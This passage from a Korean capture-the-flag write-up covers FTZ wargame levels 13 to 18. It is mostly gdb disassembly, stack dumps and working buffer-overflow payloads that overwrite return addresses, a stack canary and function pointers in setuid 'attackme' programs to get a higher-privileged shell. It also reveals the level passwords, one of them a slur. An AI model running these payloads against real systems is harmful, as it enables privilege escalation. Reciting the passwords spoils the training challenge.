0xbffff4b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff4c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff4d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff4e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff4f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff50061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff51061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff52061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff53061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff54061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff55061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff56061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff57061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff58061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff59061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff5a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff5b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff5c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff5d061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff5e061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff5f061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff60061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff61061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff62061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff63061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff64061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff65061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff66061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff67061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff68061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff69061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff6a061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff6b061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff6c061 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0xbffff6d061 61 61 61 61 61 61 61 61 61 61 00 67 45 23 01 aaaaaaaaaaa.gE#.
0xbffff6e090 98 04 08 ~~~~~~~~~–; 스택가드 부분
스택가드가 들어있는 곳의 4바이트 주소는 0xbfff6db부터 0xbfff6de까지이다
그곳이 바로 overflow시켜 1036이 되는 시점과 같다
[buf1024][dummy10][Guard4][dummy8][$ebp4][ret]
1036 1040
자 gcc2.96에서는 16의 배수지점에 변수값을 할당한다고 했다.
여기서 Guard가 끝나는 부분이 1040이다. 16*65=1040인가 그렇다.
이 부분에 dummy값 8과 $ebp값 4바이트를 할당한 후에 ret값이 오게된다.
그래서 buf 1024와 dummy10만큼 a로 채워준후 스택가드를 보호해주고 dummy8과 ebp4를 a로
채운후 ret값에 접근할수 있다
egg는 tmp폴더에 이미 설치했다고 가정하겠다 -_-;
[level13@ftz level13]$./tmp/egg
Using address: 0xbffffac8
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1036,”\\x00\\x67\\x45\\x23\\x01”,”\\xc8\\xfa\\xff\\xbf”\’`
[level13@ftz level13]$ id
uid=3093(level13) gid=3093(level13) groups=3093(level13)
[level13@ftz level13]$ ./attackme `perl -e \’print “a”x1036,”\\x00\\x67\\x45\\x23\\x01”,”a”x12,”\\xd8\\xfa\\xff\\xbf”\’`
sh-2.05a$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05a$ my-pass
TERM environment variable not set.
Level14 Password is “what that nigga want?”.
sh-2.05a$
[level14@ftz level14]$
=================================================================================
레벨 :: 14
=================================================================================
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include ;stdio.h;
#include ;unistd.h;
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system(“/bin/sh”);
}
}
[level14@ftz level14]$
=================================================================================
check에 0xdeadbeef가 들어가면 3095의 setreuid를 주게된다.
[level14@ftz level14]$ (printf “\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde”;cat)|./attackme;
id
uid=3095(level15) gid=3094(level14) groups=3094(level14)
my-pass
Level15 Password is “guess what”.
=================================================================================
레벨 :: 15
=================================================================================
[level15@ftz level15]$ cat hint
#include ;stdio.h;
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system(“/bin/sh”);
}
}
[level15@ftz level15]$
=================================================================================
[level15@ftz tmp]$ cat vul1.c
#include ;stdio.h;
#include ;dumpcode.h;
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
printf(“0x%x\\n\\n”, buf);
dumpcode(buf,80);
if (*check==0xdeadbeef)
{
printf(“ok!!\\n”);
setreuid(3096,3096);
system(“/bin/sh”);
}
}
[level15@ftz tmp]$ gcc -o vul1 vul1.c
[level15@ftz tmp]$ (printf “\\xef\\xbe\\xad\\xde555550000000000122222222220099999999\\xc0\\xfa\\xff\\xbf”;cat)|./vul1
0xbffffac0
0xbffffac0ef be ad de 35 35 35 35 35 30 30 30 30 30 30 30 ….555550000000
0xbffffad030 30 30 31 32 32 32 32 32 32 32 32 32 32 30 30 0001222222222200
0xbffffae039 39 39 39 39 39 39 39 c0 fa ff bf 00 84 04 08 99999999……..
0xbffffaf058 98 04 08 68 99 04 08 38 fb ff bf 99 74 01 42 X…h…8….t.B
0xbffffb0001 00 00 00 64 fb ff bf 6c fb ff bf 6a 83 04 08 ….d…l…j…
ok!!
id
uid=3095(level15) gid=3095(level15) groups=3095(level15)
자 소스코드를 복사해서 dumpcode() 함수를 넣은후에 컴팔하고…
buf 첫번째 주소값에 죽은쇠고기값을 넣고.. buf값 32와.. dummy 8바이트.. 그 다음에 ret값에
buf의 첫번째 주소값.. 즉 죽은쇠고기가 있는 주소값을 넣어주니.. 쉘이떳다..
자 gdb를 이용해서 buf주소값인 \\xc0\\xfa\\xff\\xbf(bffffac0) 를 찾아보는 방법을
살펴보자
[level15@ftz tmp]$ gdb vul1
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…
(gdb) disassemble main
Dump of assembler code for function main:
0x8048724 ;main;: push %ebp
0x8048725 ;main+1;: mov%esp,%ebp
0x8048727 ;main+3;: sub$0x38,%esp
0x804872a ;main+6;: sub$0x4,%esp
0x804872d ;main+9;: pushl0x8049964
0x8048733 ;main+15;:push $0x2d
0x8048735 ;main+17;:lea0xffffffc8(%ebp),%eax
0x8048738 ;main+20;:push %eax
0x8048739 ;main+21;:call 0x80483bc ;fgets;
0x804873e ;main+26;:add$0x10,%esp
0x8048741 ;main+29;:sub$0x8,%esp
0x8048744 ;main+32;:lea0xffffffc8(%ebp),%eax
0x8048747 ;main+35;:push %eax
0x8048748 ;main+36;:push $0x8048833
0x804874d ;main+41;:call 0x80483dc ;printf;
0x8048752 ;main+46;:add$0x10,%esp
0x8048755 ;main+49;:sub$0x8,%esp
0x8048758 ;main+52;:push $0x50
0x804875a ;main+54;:lea0xffffffc8(%ebp),%eax
0x804875d ;main+57;:push %eax
0x804875e ;main+58;:call 0x8048550 ;dumpcode;
0x8048763 ;main+63;:add$0x10,%esp
0x8048766 ;main+66;:mov0xfffffff0(%ebp),%eax
0x8048769 ;main+69;:cmpl $0xdeadbeef,(%eax)
0x804876f ;main+75;:jne0x80487a6 ;main+130;
0x8048771 ;main+77;:sub$0xc,%esp
0x8048774 ;main+80;:push $0x804883a
0x8048779 ;main+85;:call 0x80483dc ;printf;
0x804877e ;main+90;:add$0x10,%esp
0x8048781 ;main+93;:sub$0x8,%esp
0x8048784 ;main+96;:push $0xc18
0x8048789 ;main+101;: push $0xc18
0x804878e ;main+106;: call 0x80483ec ;setreuid;
0x8048793 ;main+111;: add$0x10,%esp
0x8048796 ;main+114;: sub$0xc,%esp
0x8048799 ;main+117;: push $0x8048840
0x804879e ;main+122;: call 0x804839c ;system;
0x80487a3 ;main+127;: add$0x10,%esp
0x80487a6 ;main+130;: leave
0x80487a7 ;main+131;: ret
0x80487a8 ;main+132;: nop
0x80487a9 ;main+133;: nop
0x80487aa ;main+134;: nop
0x80487ab ;main+135;: nop
0x80487ac ;main+136;: nop
0x80487ad ;main+137;: nop
0x80487ae ;main+138;: nop
0x80487af ;main+139;: nop
End of assembler dump.
0x8048769 ;main+69;:cmpl $0xdeadbeef,(%eax)
이부분에서 check와 deadbeef를 비교하고 있다. 여기에 break point를 걸어서
디버깅을 해보겠다.
(gdb) b *main+69
Breakpoint 1 at 0x8048769
(gdb) r
Starting program: /home/level15/tmp/vul1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
0xbffffac0
0xbffffac041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffad041 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffae041 41 41 41 41 41 41 41 42 42 42 42 00 84 04 08 AAAAAAAABBBB….
0xbffffaf058 98 04 08 68 99 04 08 38 fb ff bf 99 74 01 42 X…h…8….t.B
0xbffffb0001 00 00 00 64 fb ff bf 6c fb ff bf 6a 83 04 08 ….d…l…j…
Breakpoint 1, 0x08048769 in main ()
(gdb) info reg eax
eax0x42424242 1111638594
(gdb) info reg esp
esp0xbffffac0 0xbffffac0
(gdb) x/16bx 0xbffffac0
0xbffffac0: 0x410x410x410x410x410x410x410x41
0xbffffac8: 0x410x410x410x410x410x410x410x41
(gdb) x/16bx $esp-10
0xbffffab6: 0x000x000x800xd90x120x420x9b0x82
0xbffffabe: 0x040x080x410x410x410x410x410x41
(gdb)
정확하게 esp레지스터에 들은 주소값으로 buf주소값이 0xbffffac0임을 알 수 있다.
이제 본격적으로 attackme를 공략해 보도록 하겠다.
[level15@ftz level15]$ dir
attackmehintpublic_htmltmp
[level15@ftz level15]$ cd tmp
[level15@ftz tmp]$ cp ../attackme ./
[level15@ftz tmp]$ dir
attackme
[level15@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…
(gdb) disassemble main
Dump of assembler code for function main:
0x8048490 ;main;: push %ebp
0x8048491 ;main+1;: mov%esp,%ebp
0x8048493 ;main+3;: sub$0x38,%esp
0x8048496 ;main+6;: sub$0x4,%esp
0x8048499 ;main+9;: pushl0x8049664
0x804849f ;main+15;:push $0x2d
0x80484a1 ;main+17;:lea0xffffffc8(%ebp),%eax
0x80484a4 ;main+20;:push %eax
0x80484a5 ;main+21;:call 0x8048360 ;fgets;
0x80484aa ;main+26;:add$0x10,%esp
0x80484ad ;main+29;:mov0xfffffff0(%ebp),%eax
0x80484b0 ;main+32;:cmpl $0xdeadbeef,(%eax)
0x80484b6 ;main+38;:jne0x80484dd ;main+77;
0x80484b8 ;main+40;:sub$0x8,%esp
0x80484bb ;main+43;:push $0xc18
0x80484c0 ;main+48;:push $0xc18
0x80484c5 ;main+53;:call 0x8048380 ;setreuid;
0x80484ca ;main+58;:add$0x10,%esp
0x80484cd ;main+61;:sub$0xc,%esp
0x80484d0 ;main+64;:push $0x8048548
0x80484d5 ;main+69;:call 0x8048340 ;system;
0x80484da ;main+74;:add$0x10,%esp
0x80484dd ;main+77;:leave
0x80484de ;main+78;:ret
0x80484df ;main+79;:nop
End of assembler dump.
(gdb) b *main+32
Breakpoint 1 at 0x80484b0
(gdb) r
Starting program: /home/level15/tmp/attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 1, 0x080484b0 in main ()
(gdb) info reg eax
eax0x42424242 1111638594
(gdb) info reg esp
esp0xbffffac0 0xbffffac0
(gdb) x/16bx 0xbffffac0
0xbffffac0: 0x410x410x410x410x410x410x410x41
0xbffffac8: 0x410x410x410x410x410x410x410x41
(gdb) x/16bx $esp-10
0xbffffab6: 0x000x000x800xd90x120x420x640x82
0xbffffabe: 0x040x080x410x410x410x410x410x41
(gdb) q
The program is running.Exit anyway? (y or n) y
[level15@ftz tmp]$ (printf “\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad
\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad
\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde\\xef\\xbe\\xad\\xde
\\xc0\\xfa\\xff\\xbf”; cat) | /home/level15/attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
Level16 Password is “about to cause mass”.
level15를 푸는데 도와주신 indra님께 감사드립니다. gdb사용법도 많이 배워꾸^^
=================================================================================
레벨 :: 16
=================================================================================
[level16@ftz level16]$ cat hint
#include ;stdio.h;
void shell() {
setreuid(3097,3097);
system(“/bin/sh”);
}
void printit() {
printf(“Hello there!\\n”);
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
call();
}
[level16@ftz level16]$
=================================================================================
[level16@ftz level16]$ cp attackme ./tmp
[level16@ftz level16]$ cd tmp
[level16@ftz tmp]$ dir -al
total 24
drwxrwxr-x2 root level164096 Jul 19 02:02 .
drwxr-xr-x4 root level164096 Mar 18 22:44 ..
-rwxr-x—1 level16level16 14017 Jul 19 02:02 attackme
[level16@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…
(gdb) disassemble main
Dump of assembler code for function main:
0x8048518 ;main;: push %ebp
0x8048519 ;main+1;: mov%esp,%ebp
0x804851b ;main+3;: sub$0x38,%esp
0x804851e ;main+6;: movl $0x8048500,0xfffffff0(%ebp)
0x8048525 ;main+13;:sub$0x4,%esp
0x8048528 ;main+16;:pushl0x80496e8
0x804852e ;main+22;:push $0x30
0x8048530 ;main+24;:lea0xffffffc8(%ebp),%eax
0x8048533 ;main+27;:push %eax
0x8048534 ;main+28;:call 0x8048384 ;fgets;
0x8048539 ;main+33;:add$0x10,%esp
0x804853c ;main+36;:mov0xfffffff0(%ebp),%eax
0x804853f ;main+39;:call *%eax
0x8048541 ;main+41;:leave
0x8048542 ;main+42;:ret
0x8048543 ;main+43;:nop
0x8048544 ;main+44;:nop
0x8048545 ;main+45;:nop
0x8048546 ;main+46;:nop
0x8048547 ;main+47;:nop
0x8048548 ;main+48;:nop
0x8048549 ;main+49;:nop
0x804854a ;main+50;:nop
0x804854b ;main+51;:nop
0x804854c ;main+52;:nop
0x804854d ;main+53;:nop
0x804854e ;main+54;:nop
0x804854f ;main+55;:nop
End of assembler dump.
(gdb) disassemble shell
Dump of assembler code for function shell:
0x80484d0 ;shell;:push %ebp
0x80484d1 ;shell+1;:mov%esp,%ebp
0x80484d3 ;shell+3;:sub$0x8,%esp
0x80484d6 ;shell+6;:sub$0x8,%esp
0x80484d9 ;shell+9;:push $0xc19
0x80484de ;shell+14;: push $0xc19
0x80484e3 ;shell+19;: call 0x80483b4 ;setreuid;
0x80484e8 ;shell+24;: add$0x10,%esp
0x80484eb ;shell+27;: sub$0xc,%esp
0x80484ee ;shell+30;: push $0x80485b8
0x80484f3 ;shell+35;: call 0x8048364 ;system;
0x80484f8 ;shell+40;: add$0x10,%esp
0x80484fb ;shell+43;: leave
0x80484fc ;shell+44;: ret
0x80484fd ;shell+45;: lea0x0(%esi),%esi
End of assembler dump.
자 shell() 함수의 주소값은 0x80484d0이다.
(gdb) b *main+27
Breakpoint 1 at 0x8048533
(gdb) r
Starting program: /home/level16/tmp/attackme
Breakpoint 1, 0x08048533 in main ()
(gdb) info reg eax
eax0xbffffac0 -1073743168
buf의 주소값은 0xbffffac0임을 알수가 있다. 왜냐하면 소스에서 fgets영역위에서
char buf[20]으로 선언해주었기 때문에 main+27의 push %eax가 buf값을 스택에
저장하고 있음을 알 수 있는 것이다.
(gdb) b *main+39
Breakpoint 1 at 0x804853f
(gdb) r
Starting program: /home/level16/tmp/attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804853f in main ()
(gdb) info reg eax
eax0x804000a134479882
이것은 call()의 값이다.. 바로 이값을 우리가 원하는 방향으로 변조해야 한다.
buf의 내용을 살펴보면
(gdb) x/80 0xbffffac0
0xbffffac0: 0x414141410x414141410x414141410x41414141
0xbffffad0: 0x414141410x414141410x414141410x41414141
0xbffffae0: 0x414141410x414141410x0804000a0x080484b1
~~~~~~~
0xbffffaf0: 0x080495e00x080496ec0xbffffb380x42017499
0xbffffb00: 0x000000010xbffffb640xbffffb6c0x08048342
0xbffffb10: 0x080485900x000000000xbffffb380x42017482
0xbffffb20: 0x000000000xbffffb6c0x4212e5bc0x400134c0
0xbffffb30: 0x000000010x080483d00x000000000x080483f1
0xbffffb40: 0x080485180x000000010xbffffb640x0804832c
0xbffffb50: 0x080485900x4000b9940xbffffb5c0x00000000
0xbffffb60: 0x000000010xbffffc470x000000000xbffffc62
0xbffffb70: 0xbffffc780xbffffc900xbffffcae0xbffffcd0
0xbffffb80: 0xbffffce10xbffffcee0xbffffeb10xbffffece
0xbffffb90: 0xbffffee30xbfffff020xbfffff170xbfffff27
0xbffffba0: 0xbfffff2f0xbfffff3f0xbfffff4d0xbfffff58
0xbffffbb0: 0xbfffff6b0xbfffff9e0x000000000x00000010
0xbffffbc0: 0x0183fbff0x000000060x000010000x00000011
0xbffffbd0: 0x000000640x000000030x080480340x00000004
0xbffffbe0: 0x000000200x000000050x000000060x00000007
0xbffffbf0: 0x400000000x000000080x000000000x00000009
(gdb)
빙고. A를 40개 찍고난 뒤에.. call()의 주소값인.. 0x0804000a 이 들어있다..
그럼 우리는 buffer overflow시켜.. A를 40개 찍고난후 우리가.. 변조할 주소값을..
이어서 넣어주면.. 된다.. 여기선 shell()의 주소값을 넣어주면 되겠다.
shell()의 주소값은 0x80484d0 이므로.
[level16@ftz level16]$ (printf “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xd0\\x84\\x04\\x08”;cat)|./attackme
id
uid=3097(level17) gid=3096(level16) groups=3096(level16)
my-pass
Level17 Password is “king poetic”.
자.. 아주 쉽게 클리어했다.^^14
=================================================================================
레벨 :: 17
=================================================================================
[level17@ftz level17]$ cat hint
#include ;stdio.h;
void printit() {
printf(“Hello there!\\n”);
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
[level17@ftz level17]$
=================================================================================
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ cat ; egg.c
egg쉘을 설치하고.
[level17@ftz tmp]$ dir -al
total 12
drwxrwxr-x2 root level174096 Jul 19 03:10 .
drwxr-xr-x4 root level174096 Mar 18 22:38 ..
-rw-rw-r–1 level17level171468 Jul 19 03:10 egg.c
[level17@ftz tmp]$ gcc -o egg egg.c
[level17@ftz tmp]$ cp ../attackme ./
[level17@ftz tmp]$ dir
attackmeeggegg.c
[level17@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…
(gdb) disassemble main
Dump of assembler code for function main:
0x80484a8 ;main;: push %ebp
0x80484a9 ;main+1;: mov%esp,%ebp
0x80484ab ;main+3;: sub$0x38,%esp
0x80484ae ;main+6;: movl $0x8048490,0xfffffff0(%ebp)
0x80484b5 ;main+13;:sub$0x4,%esp
0x80484b8 ;main+16;:pushl0x804967c
0x80484be ;main+22;:push $0x30
0x80484c0 ;main+24;:lea0xffffffc8(%ebp),%eax
0x80484c3 ;main+27;:push %eax
0x80484c4 ;main+28;:call 0x8048350 ;fgets;
0x80484c9 ;main+33;:add$0x10,%esp
0x80484cc ;main+36;:sub$0x8,%esp
0x80484cf ;main+39;:push $0xc1a
0x80484d4 ;main+44;:push $0xc1a
0x80484d9 ;main+49;:call 0x8048380 ;setreuid;
0x80484de ;main+54;:add$0x10,%esp
0x80484e1 ;main+57;:mov0xfffffff0(%ebp),%eax
0x80484e4 ;main+60;:call *%eax
0x80484e6 ;main+62;:leave
0x80484e7 ;main+63;:ret
0x80484e8 ;main+64;:nop
0x80484e9 ;main+65;:nop
0x80484ea ;main+66;:nop
0x80484eb ;main+67;:nop
0x80484ec ;main+68;:nop
0x80484ed ;main+69;:nop
0x80484ee ;main+70;:nop
0x80484ef ;main+71;:nop
End of assembler dump.
(gdb) b *main+27
Breakpoint 1 at 0x80484c3
(gdb) r
Starting program: /home/level17/tmp/attackme
Breakpoint 1, 0x080484c3 in main ()
(gdb) info reg eax
eax0xbffffac0 -1073743168
buf 주소값은 0xbffffac0임을 알 수 있다.
(gdb) b *main+60
Breakpoint 1 at 0x80484e4
(gdb) r
Starting program: /home/level17/tmp/attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484e4 in main ()
(gdb) info reg eax
eax0x8048490134513808
call()의 주소값
(gdb) x/80 0xbffffac0
0xbffffac0: 0x414141410x414141410x414141410x41414141
0xbffffad0: 0x414141410x414141410x414141410x41414141
0xbffffae0: 0x414141410x4001000a0x080484900x08048471
~~~~~~~
0xbffffaf0: 0x080495780x080496800xbffffb380x42017499
0xbffffb00: 0x000000010xbffffb640xbffffb6c0x0804831e
0xbffffb10: 0x080485300x000000000xbffffb380x42017482
0xbffffb20: 0x000000000xbffffb6c0x4212e5bc0x400134c0
0xbffffb30: 0x000000010x080483900x000000000x080483b1
0xbffffb40: 0x080484a80x000000010xbffffb640x08048308
0xbffffb50: 0x080485300x4000b9940xbffffb5c0x00000000
0xbffffb60: 0x000000010xbffffc470x000000000xbffffc62
0xbffffb70: 0xbffffc780xbffffc900xbffffcae0xbffffcd0
0xbffffb80: 0xbffffce10xbffffcee0xbffffeb10xbffffece
0xbffffb90: 0xbffffee30xbfffff020xbfffff170xbfffff27
0xbffffba0: 0xbfffff2f0xbfffff3f0xbfffff4d0xbfffff58
0xbffffbb0: 0xbfffff6b0xbfffff9e0x000000000x00000010
0xbffffbc0: 0x0183fbff0x000000060x000010000x00000011
0xbffffbd0: 0x000000640x000000030x080480340x00000004
0xbffffbe0: 0x000000200x000000050x000000060x00000007
0xbffffbf0: 0x400000000x000000080x000000000x00000009
이제 40개의 bufferoverflow를 한 후 egg 쉘을 띄우면.. 완료가 될 것으로 예상된다. 해보자.
[level17@ftz level17]$ cd tmp
[level17@ftz tmp]$ dir
attackmeeggegg.c
[level17@ftz tmp]$ ./egg
Using address: 0xbffffac8
[level17@ftz tmp]$ cd ..
[level17@ftz level17]$ (printf “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xc8\\xfa\\xff\\xbf”;cat)|./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)
예상대로다 ^^;
my-pass
TERM environment variable not set.
Level18 Password is “why did you do it”.
=================================================================================
레벨 :: 18
=================================================================================
[level18@ftz level18]$ cat hint
#include ;stdio.h;
#include ;sys/time.h;
#include ;sys/types.h;
#include ;unistd.h;
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf(“Enter your command: “);
fflush(stdout);
while(1)
{
if(count ;= 100)
printf(“what are you trying to do?\\n”);
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) ;= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case \’\\r\’:
case \’\\n\’:
printf(“\\a”);
break;
case 0x08:
count–;
printf(“\\b \\b”);
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl(“/bin/sh”,”sh”,NULL);
}
[level18@ftz level18]$
문자열이 0x08일 경우 count–;
소스가 길다 -_-; 압박이 심하군.
=================================================================================
=- 소스분석 -=
#include ;stdio.h;
#include ;sys/time.h;
#include ;sys/types.h;
#include ;unistd.h;
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf(“Enter your command: “);
fflush(stdout);
while(1)
{
if(count ;= 100)
printf(“what are you trying to do?\\n”);
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) ;= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case \’\\r\’:
case \’\\n\’:
printf(“\\a”);
break;
case 0x08:
count–;
printf(“\\b \\b”);
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl(“/bin/sh”,”sh”,NULL);
}
[level18@ftz level18]$
[level18@ftz level18]$ cd tmp
[level18@ftz tmp]$ cp ../attackme ./
[level18@ftz tmp]$ dir
attackme
[level18@ftz tmp]$ gdb attackme
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB.Type “show warranty” for details.
This GDB was configured as “i386-redhat-linux”…(no debugging symbols found)…
(gdb) disassemble main
Dump of assembler code for function main:
0x8048550 ;main;: push %ebp
0x8048551 ;main+1;: mov%esp,%ebp
0x8048553 ;main+3;: sub$0x100,%esp
0x8048559 ;main+9;: push %edi
0x804855a ;main+10;:push %esi
0x804855b ;main+11;:push %ebx
0x804855c ;main+12;:movl $0x0,0xffffff94(%ebp)
0x8048563 ;main+19;:movl $0x0,0xffffff90(%ebp)
0x804856a ;main+26;:push $0x8048800
0x804856f ;main+31;:call 0x8048470 ;printf;
0x8048574 ;main+36;:add$0x4,%esp
0x8048577 ;main+39;:mov0x804993c,%eax
0x804857c ;main+44;:mov%eax,0xffffff04(%ebp)
0x8048582 ;main+50;:mov0xffffff04(%ebp),%ecx
0x8048588 ;main+56;:push %ecx
0x8048589 ;main+57;:call 0x8048430 ;fflush;
0x804858e ;main+62;:add$0x4,%esp
0x8048591 ;main+65;:jmp0x8048598 ;main+72;
0x8048593 ;main+67;:jmp0x8048775 ;main+549;
0x8048598 ;main+72;:cmpl $0x63,0xffffff90(%ebp)
0x804859c ;main+76;:jle0x80485ab ;main+91;
0x804859e ;main+78;:push $0x8048815
0x80485a3 ;main+83;:call 0x8048470 ;printf;
0x80485a8 ;main+88;:add$0x4,%esp
0x80485ab ;main+91;:cmpl $0xdeadbeef,0xffffff98(%ebp)
0x80485b2 ;main+98;:jne0x80485c0 ;main+112;
0x80485b4 ;main+100;: call 0x8048780 ;shellout;
